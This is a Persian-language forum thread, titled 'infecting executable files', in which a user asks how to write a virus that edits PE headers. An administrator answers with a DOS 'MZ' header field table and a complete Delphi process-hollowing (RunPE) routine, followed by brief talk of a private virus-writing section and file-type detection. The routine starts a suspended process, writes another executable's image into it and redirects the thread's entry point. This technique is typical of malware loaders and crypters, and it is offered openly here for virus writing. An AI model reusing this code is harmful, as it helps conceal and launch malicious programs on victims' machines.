امتیاز موضوع:
  • 0 رأی - میانگین امتیازات: 0
  • 1
  • 2
  • 3
  • 4
  • 5
آلوده کردن فایل های اجرایی
نویسنده پیام
saayeban آفلاین
تازه وارد

ارسال‌ها: 13
موضوع‌ها: 1
تاریخ عضویت: اسفند ۱۳۸۷

تشکرها : 5
( 0 تشکر در 0 ارسال )
ارسال: #1
آلوده کردن فایل های اجرایی
سلام دوستان

به زبان ساده کی میتونه بگه که چطوری میشه یه ویروس نوشت که اولا نوع فایل اجرایی رو از هدر فایل اجرایی بخونه ثانیا بشه اطلاعاتی رو به هدر فایل اجرای اضافه کرد و با زبان ساده بگم چطور میشه با این هدر ور رفت
اگه دوستان تجربه ایی دارن خواهش میکم دریغ نکنند

یا حق
۱۶-اسفند-۱۳۸۷, ۰۰:۱۴:۱۲
ارسال‌ها
پاسخ
lord_viper غایب
مدیر کل انجمن
*****

ارسال‌ها: 3,949
موضوع‌ها: 352
تاریخ عضویت: بهمن ۱۳۸۴

تشکرها : 5193
( 9875 تشکر در 2650 ارسال )
ارسال: #2
RE: آلوده کردن فایل های اجرایی
فکر نکنم اینهایی رو که شما میخواهین رو بشه تو 10-20 خط توزیح داد شما باید اول با ساختار فایلهای PE که همون EXE خودمون هستند اشنا بشین در ضمن با اضافه کردن اطلاعات به هدر اتفاق خاصی نمیافته باید علاوه بر هدر به سکشنها هم اطلاعات اضافه کنی و چند جامپر رو عوض کنی
۱۶-اسفند-۱۳۸۷, ۰۹:۳۳:۴۳
وب سایت ارسال‌ها
پاسخ
saayeban آفلاین
تازه وارد

ارسال‌ها: 13
موضوع‌ها: 1
تاریخ عضویت: اسفند ۱۳۸۷

تشکرها : 5
( 0 تشکر در 0 ارسال )
ارسال: #3
RE: آلوده کردن فایل های اجرایی
(۱۶-اسفند-۱۳۸۷, ۰۹:۳۳:۴۳)lord_viper نوشته است: فکر نکنم اینهایی رو که شما میخواهین رو بشه تو 10-20 خط توزیح داد شما باید اول با ساختار فایلهای PE که همون EXE خودمون هستند اشنا بشین در ضمن با اضافه کردن اطلاعات به هدر اتفاق خاصی نمیافته باید علاوه بر هدر به سکشنها هم اطلاعات اضافه کنی و چند جامپر رو عوض کنی

---------------------
سلام lord_viper عزیز

اگه لطف کنید درباره همین ساختار PE توضیح بدین یا اینکه یه سایت یا مقاله برای مطالعه این ساختار معرفی کنید اگه فارسی باشه! ممنون میشوم در ضمن من همین قدر که بتونم نوع فایل اجرایی رو تشخیص بدم کارم راه میافته

با سپاس و تشکر
یا حق
۱۶-اسفند-۱۳۸۷, ۲۳:۰۸:۲۹
ارسال‌ها
پاسخ
lord_viper غایب
مدیر کل انجمن
*****

ارسال‌ها: 3,949
موضوع‌ها: 352
تاریخ عضویت: بهمن ۱۳۸۴

تشکرها : 5193
( 9875 تشکر در 2650 ارسال )
ارسال: #4
RE: آلوده کردن فایل های اجرایی
منضورتون از تشخیص نوع فایلهای PE چی هست؟
مقاله فارسی که نیست یکی هست کامل تو بخش خصوصی ایران ویج شما بهش دسترسی ندارین
انگلیسی زیاد هست مال گروه ARTeam اون خیلی خوبه ARTeam PE Tutorialو تو سایت codeproject یک مقاله از جناب اشکبیز دانه کار هست برای نشتن پکر میتونین از اون استفاده کنین البته سورسش به ++c هست

قلب برنامه های exe در Header آن قرار دارد طول Header برنامه های exe حد اقل 32 بایت است که اطلاعات زیادی را نشان میدهد

نگاهی به Header در exe می افکنیم

محتوی--------------طول--------------آدرس------------توضیحات

--------------------------------------------------------------------------------

0h----------------2-----------4Dh 5Ah-------------امضای برنامه exe "MZ"

2h----------------2-----------Part Page-------------طول آخرین صفحه خالی (non-full)

4h----------------2 -------Page Counter-------------طول برنامه در صفحات 512 بایتی

6h----------------2----Relocate Counter-------------تعداد عناصر در تغییر جدول

8h----------------2---------Header Size------------ طول هدر در پاراگراف

0Ah----------------2----Minimum Memory----------- حد اقل حافظه باقی مانده در پاراگراف

0Ch-----------------2---Maximum Memory-----------حد اگثر حافظه باقی مانده در پاراگراف

0Eh-----------------2------Relocation SS------------درست کردن مقدار سگمنت برای پشته (SS)

10h----------------2-------------Exe SP-------------مقدار Stack Pointer (SP)

12h----------------2---------Check Sum-------------مقدار مقابله ای

14h 2 Exe IP مقدار Instruction Pointer (IP)

16 h 2 Relocate IP درست کردن مقدار سگمنت (CS)

18h 2 Table Offset آدرس افست اولین عنصر تغییر یافته

1Ah 2 Overly تعداد همپوشانی ها

اینم یه کد به دلفی

کد:
type
  TSections = array [0..0] of TImageSectionHeader;


var
  Form1: TForm1;

implementation

{$R *.dfm}
{$IMAGEBASE $10000000}

function GetAlignedSize(Size: dword; Alignment: dword): dword;
begin
  if ((Size mod Alignment) = 0) then
    Result := Size
  else
    Result := ((Size div Alignment) + 1) * Alignment;
end;

function ImageSize(Image: pointer): dword;
var
  Alignment: dword;
  ImageNtHeaders: PImageNtHeaders;
  PSections: ^TSections;
  SectionLoop: dword;
begin
  ImageNtHeaders := pointer(dword(dword(Image)) + dword(PImageDosHeader(Image)._lfanew));
  Alignment := ImageNtHeaders.OptionalHeader.SectionAlignment;
  if ((ImageNtHeaders.OptionalHeader.SizeOfHeaders mod Alignment) = 0) then
  begin
    Result := ImageNtHeaders.OptionalHeader.SizeOfHeaders;
  end
  else
  begin
    Result := ((ImageNtHeaders.OptionalHeader.SizeOfHeaders div Alignment) + 1) * Alignment;
  end;
  PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
  for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
  begin
    if PSections[SectionLoop].Misc.VirtualSize <> 0 then
    begin
      if ((PSections[SectionLoop].Misc.VirtualSize mod Alignment) = 0) then
      begin
        Result := Result + PSections[SectionLoop].Misc.VirtualSize;
      end
      else
      begin
        Result := Result + (((PSections[SectionLoop].Misc.VirtualSize div Alignment) + 1) * Alignment);
      end;
    end;
  end;
end;

procedure CreateProcessEx(FileMemory: pointer);
var
  BaseAddress, Bytes, HeaderSize, InjectSize,  SectionLoop, SectionSize: dword;
  Context: TContext;
  FileData: pointer;
  ImageNtHeaders: PImageNtHeaders;
  InjectMemory: pointer;
  ProcInfo: TProcessInformation;
  PSections: ^TSections;
  StartInfo: TStartupInfo;
begin
  ImageNtHeaders := pointer(dword(dword(FileMemory)) + dword(PImageDosHeader(FileMemory)._lfanew));
  InjectSize := ImageSize(FileMemory);
  GetMem(InjectMemory, InjectSize);
  try
    FileData := InjectMemory;
    HeaderSize := ImageNtHeaders.OptionalHeader.SizeOfHeaders;
    PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
    for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
    begin
      if PSections[SectionLoop].PointerToRawData < HeaderSize then HeaderSize := PSections[SectionLoop].PointerToRawData;
    end;
    CopyMemory(FileData, FileMemory, HeaderSize);
    FileData := pointer(dword(FileData) + GetAlignedSize(ImageNtHeaders.OptionalHeader.SizeOfHeaders, ImageNtHeaders.OptionalHeader.SectionAlignment));
    for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
    begin
      if PSections[SectionLoop].SizeOfRawData > 0 then
      begin
        SectionSize := PSections[SectionLoop].SizeOfRawData;
        if SectionSize > PSections[SectionLoop].Misc.VirtualSize then SectionSize := PSections[SectionLoop].Misc.VirtualSize;
        CopyMemory(FileData, pointer(dword(FileMemory) + PSections[SectionLoop].PointerToRawData), SectionSize);
        FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment));
      end
      else
      begin
        if PSections[SectionLoop].Misc.VirtualSize <> 0 then FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment));
      end;
    end;
    ZeroMemory(@StartInfo, SizeOf(StartupInfo));
    ZeroMemory(@Context, SizeOf(TContext));
    CreateProcess(nil, pchar(ParamStr(0)), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
    Context.ContextFlags := CONTEXT_FULL;
    GetThreadContext(ProcInfo.hThread, Context);
    ReadProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @BaseAddress, 4, Bytes);
    VirtualAllocEx(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectMemory, InjectSize, Bytes);
    WriteProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @ImageNtHeaders.OptionalHeader.ImageBase, 4, Bytes);
    Context.Eax := ImageNtHeaders.OptionalHeader.ImageBase + ImageNtHeaders.OptionalHeader.AddressOfEntryPoint;
    SetThreadContext(ProcInfo.hThread, Context);
    ResumeThread(ProcInfo.hThread);
  finally
    FreeMemory(InjectMemory);
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  MyStream: TMemoryStream;

begin
   MyStream := TMemoryStream.Create;
  try
    MyStream.LoadFromFile('Test.exe');
    CreateProcessEx(MyStream.Memory);
  finally
    MyStream.Free;
  end;
end
۱۷-اسفند-۱۳۸۷, ۰۰:۴۵:۵۶
وب سایت ارسال‌ها
پاسخ
تشکر شده توسط : amirjan, saeedsmk, Di Di, Morpheus, sayberiya, Loyal, godvb, delphidark, The.Ghost
babyy آفلاین
بازنشسته
*****

ارسال‌ها: 3,095
موضوع‌ها: 141
تاریخ عضویت: مرداد ۱۳۸۷

تشکرها : 35081
( 26090 تشکر در 9068 ارسال )
ارسال: #5
RE: آلوده کردن فایل های اجرایی
سلام

نقل قول: یکی هست کامل تو بخش خصوصی ایران ویج شما بهش دسترسی ندارین

مدیران که دسترسی دارن ؛ خوب بزارید اینجا استفاده کنن ملت
۱۷-اسفند-۱۳۸۷, ۱۶:۱۷:۲۱
وب سایت ارسال‌ها
پاسخ
lord_viper غایب
مدیر کل انجمن
*****

ارسال‌ها: 3,949
موضوع‌ها: 352
تاریخ عضویت: بهمن ۱۳۸۴

تشکرها : 5193
( 9875 تشکر در 2650 ارسال )
ارسال: #6
RE: آلوده کردن فایل های اجرایی
Biggrin خب اگه امکانش بود اینجا میزاشتن نه اونجا اون مقالات مربوط به تیم خصوصی ویروس نویسی هست نمیشه تو بخش عمومی گزاشت شمام اگه فعالیت داشته باشین دسترسیتون به اون بخش باز میشه
۱۷-اسفند-۱۳۸۷, ۲۱:۰۸:۱۹
وب سایت ارسال‌ها
پاسخ
تشکر شده توسط : Di Di
babyy آفلاین
بازنشسته
*****

ارسال‌ها: 3,095
موضوع‌ها: 141
تاریخ عضویت: مرداد ۱۳۸۷

تشکرها : 35081
( 26090 تشکر در 9068 ارسال )
ارسال: #7
RE: آلوده کردن فایل های اجرایی
سلام

این مقالات به درد کارهای دیگه ای هم به غیر از ویروس نویسی میخوره ؛

بیخیال

ممنون
۱۷-اسفند-۱۳۸۷, ۲۲:۲۷:۰۳
وب سایت ارسال‌ها
پاسخ
saayeban آفلاین
تازه وارد

ارسال‌ها: 13
موضوع‌ها: 1
تاریخ عضویت: اسفند ۱۳۸۷

تشکرها : 5
( 0 تشکر در 0 ارسال )
ارسال: #8
RE: آلوده کردن فایل های اجرایی
سلام
منظور من تشخیص نوع فایل اجرایی است حالا هر فایلی. من میخوام به یه شکل نوع فایل اجرایی رو تشخیص بدم حالا
با استفاده از pe یا چیزه دیگه نمیدونم. اگه کمک کنید و بفرمایید که چگونه میشه این کار رو کرد ممنون میشم
یه سوال: این header مخصوص فایل های exe است یا همه فایل های اجرایی اینو دارن با تفاوتهایی؟

قبلا از پاسخگویی دقیق و با حوصله شما کمال سپاس گذاری و تشکر رو دارم
در پناه حق
۱۷-اسفند-۱۳۸۷, ۲۳:۵۹:۴۸
ارسال‌ها
پاسخ
lord_viper غایب
مدیر کل انجمن
*****

ارسال‌ها: 3,949
موضوع‌ها: 352
تاریخ عضویت: بهمن ۱۳۸۴

تشکرها : 5193
( 9875 تشکر در 2650 ارسال )
ارسال: #9
RE: آلوده کردن فایل های اجرایی
ببین دوست عزیز راحترین راه برای شناخت فایلهای exe این هست که 2 بایت اولش MZ هست
هر فایل اجرایی از 1 نوع ساختار طبعیت میکنه
۱۸-اسفند-۱۳۸۷, ۰۰:۱۶:۲۱
وب سایت ارسال‌ها
پاسخ
saayeban آفلاین
تازه وارد

ارسال‌ها: 13
موضوع‌ها: 1
تاریخ عضویت: اسفند ۱۳۸۷

تشکرها : 5
( 0 تشکر در 0 ارسال )
ارسال: #10
RE: آلوده کردن فایل های اجرایی
سلام
در مورد فایلهای دیگه چطور میشه تشخیص داد com;bat,...
۱۸-اسفند-۱۳۸۷, ۲۳:۵۸:۰۴
ارسال‌ها
پاسخ
lord_viper غایب
مدیر کل انجمن
*****

ارسال‌ها: 3,949
موضوع‌ها: 352
تاریخ عضویت: بهمن ۱۳۸۴

تشکرها : 5193
( 9875 تشکر در 2650 ارسال )
ارسال: #11
RE: آلوده کردن فایل های اجرایی
(۱۸-اسفند-۱۳۸۷, ۲۳:۵۸:۰۴)saayeban نوشته است: سلام
در مورد فایلهای دیگه چطور میشه تشخیص داد com;bat,...

Biggrin از رو پسوندشون
۱۹-اسفند-۱۳۸۷, ۱۵:۱۲:۰۴
وب سایت ارسال‌ها
پاسخ
تشکر شده توسط : yeketaz


موضوعات مرتبط با این موضوع...
موضوع نویسنده پاسخ بازدید آخرین ارسال
  ابزار پاکسازی فایل های آلوده شده توسط Ramnit.H godvb 0 3,440 ۰۲-فروردین-۱۳۹۲, ۱۳:۵۸:۰۹
آخرین ارسال: godvb
  نحوه ی آلوده کردن explorer.exe saeedvir 3 5,598 ۲۵-آذر-۱۳۸۸, ۰۲:۲۳:۲۱
آخرین ارسال: __Genius__

پرش به انجمن:


کاربرانِ درحال بازدید از این موضوع: 1 مهمان

صفحه‌ی تماس | IranVig | بازگشت به بالا | | بایگانی | پیوند سایتی RSS